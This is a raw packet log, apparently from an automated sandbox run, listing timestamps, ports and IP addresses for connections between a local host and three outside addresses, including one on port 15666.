Dec 19, 2024 08:11:51.710974932 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.711112022 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.711173058 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.712142944 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.712155104 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.712203026 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.713038921 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.713187933 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.713254929 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.714164019 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.714230061 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.714292049 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.715183020 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.715230942 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.715321064 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.716300011 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.716474056 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.716716051 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.717425108 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.717648029 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.717706919 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.718430042 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.718954086 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.719037056 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.719310999 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.719454050 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.719500065 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.720411062 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.720482111 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.720556021 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.721407890 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.721431017 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.721471071 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.722522020 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.722829103 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.722866058 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.723598003 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.723726034 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.723771095 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.724678993 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.724733114 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.725002050 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.725559950 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.725692987 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.725766897 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.726679087 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.726887941 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.726988077 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.727654934 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.727722883 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.727792978 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.729268074 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.729284048 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.729337931 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.729729891 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.730078936 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.730127096 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.731087923 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.731100082 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.731157064 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.731991053 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.732003927 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.732042074 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.733283997 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.733297110 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.733350992 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.733999968 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.734011889 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.734052896 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.734908104 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.735063076 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.735129118 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.735992908 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.736219883 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.736278057 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.737024069 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.737193108 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.737250090 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.738097906 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.738111019 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.738172054 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.739033937 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.739167929 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.739216089 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.740137100 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.740257025 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.740385056 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.741266012 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.741278887 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.741321087 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.742278099 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.742290974 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.742327929 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.743242025 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.743262053 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.743328094 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.744246006 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.744590044 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.744641066 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.745332956 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.745403051 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.745462894 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.746984005 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.746998072 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.747035027 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.747378111 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.747838974 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.747925043 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.748413086 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.748524904 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.748565912 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.749181986 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.749700069 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.801315069 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.886984110 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.887124062 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.887177944 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.887257099 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.887310028 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.887348890 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.888326883 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.888488054 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.888537884 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.889477015 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.889492035 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.889532089 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.890439987 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.890616894 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.890661001 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.891511917 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.891614914 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.891680956 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.892492056 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.892600060 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.892649889 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.893621922 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.893763065 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.893807888 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.894661903 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.894804955 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.894850969 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.895818949 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.895834923 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.895878077 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.896651983 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.896666050 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.896708965 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.897995949 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.898104906 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.898156881 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.899077892 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.899092913 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.899135113 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.899763107 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.899940968 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.899982929 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.900837898 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.900938034 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.900976896 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.901880026 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.901952028 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.902237892 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.903156996 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.903172970 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.903245926 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.904076099 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.904092073 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.904139996 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.905004978 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.905082941 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.905123949 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.906075001 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.906269073 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.906315088 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.907079935 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.907147884 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.907196045 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.908170938 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.908190012 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.908238888 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.909189939 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.909240961 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.909286976 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.910335064 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.910347939 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.910396099 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.911366940 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.911381960 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.911477089 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.912622929 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.912636042 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.912691116 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.913238049 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.913415909 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.913655043 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.914735079 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.914747953 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.914789915 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.915405989 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.915446997 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:51.915484905 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:51.994779110 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:52.157376051 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:52.277158976 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:52.277242899 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:52.468197107 CET	49741	443	192.168.2.4	104.26.12.205
Dec 19, 2024 08:11:52.468257904 CET	443	49741	104.26.12.205	192.168.2.4
Dec 19, 2024 08:11:52.468342066 CET	49741	443	192.168.2.4	104.26.12.205
Dec 19, 2024 08:11:52.479985952 CET	49741	443	192.168.2.4	104.26.12.205
Dec 19, 2024 08:11:52.480019093 CET	443	49741	104.26.12.205	192.168.2.4
Dec 19, 2024 08:11:53.704132080 CET	443	49741	104.26.12.205	192.168.2.4
Dec 19, 2024 08:11:53.704296112 CET	49741	443	192.168.2.4	104.26.12.205
Dec 19, 2024 08:11:54.003249884 CET	49741	443	192.168.2.4	104.26.12.205
Dec 19, 2024 08:11:54.003276110 CET	443	49741	104.26.12.205	192.168.2.4
Dec 19, 2024 08:11:54.003665924 CET	443	49741	104.26.12.205	192.168.2.4
Dec 19, 2024 08:11:54.003741980 CET	49741	443	192.168.2.4	104.26.12.205
Dec 19, 2024 08:11:54.006253004 CET	49741	443	192.168.2.4	104.26.12.205
Dec 19, 2024 08:11:54.051323891 CET	443	49741	104.26.12.205	192.168.2.4
Dec 19, 2024 08:11:54.329590082 CET	443	49741	104.26.12.205	192.168.2.4
Dec 19, 2024 08:11:54.329651117 CET	49741	443	192.168.2.4	104.26.12.205
Dec 19, 2024 08:11:54.329658031 CET	443	49741	104.26.12.205	192.168.2.4
Dec 19, 2024 08:11:54.329705954 CET	49741	443	192.168.2.4	104.26.12.205
Dec 19, 2024 08:11:54.329977989 CET	49741	443	192.168.2.4	104.26.12.205
Dec 19, 2024 08:11:54.329993010 CET	443	49741	104.26.12.205	192.168.2.4
Dec 19, 2024 08:11:59.129786015 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.249649048 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.249660969 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.249727011 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.249778032 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.249824047 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.249849081 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.249895096 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.249901056 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.249944925 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.249969959 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.250020981 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.250063896 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.250073910 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.250118971 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.250165939 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.250241041 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.250329018 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.250375032 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.369380951 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.369396925 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.369412899 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.369422913 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.369508028 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.369518995 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.369720936 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.369730949 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.369798899 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.369803905 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.369901896 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.369911909 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.369961023 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.369995117 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.370004892 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.370062113 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.490725040 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.490808964 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.490818977 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.490849972 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.490983009 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.490993977 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.491074085 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.491132975 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.491264105 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.491319895 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.491429090 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.491483927 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.491581917 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.491699934 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.491760969 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.491939068 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.491966963 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492012978 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.492192984 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492202997 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492244959 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.492311001 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492321014 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492360115 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.492420912 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492445946 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492455959 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492494106 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492500067 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.492537022 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.492598057 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492609024 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492644072 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.492646933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492686033 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.492717981 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492736101 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492744923 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492757082 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.492790937 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.610690117 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.610699892 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.610796928 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.610806942 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.610944033 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.610971928 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.610980988 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611010075 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611020088 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611027956 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611052990 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611073017 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611118078 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611139059 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611155987 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611248970 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611258030 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611299038 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611344099 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611355066 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611373901 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611383915 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611397982 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611408949 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611440897 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611521959 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611658096 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611668110 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611707926 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611726046 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611764908 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611815929 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611825943 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611855030 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611864090 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611898899 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.611908913 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611917973 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.611959934 CET	49740	15666	192.168.2.4	193.3.19.151
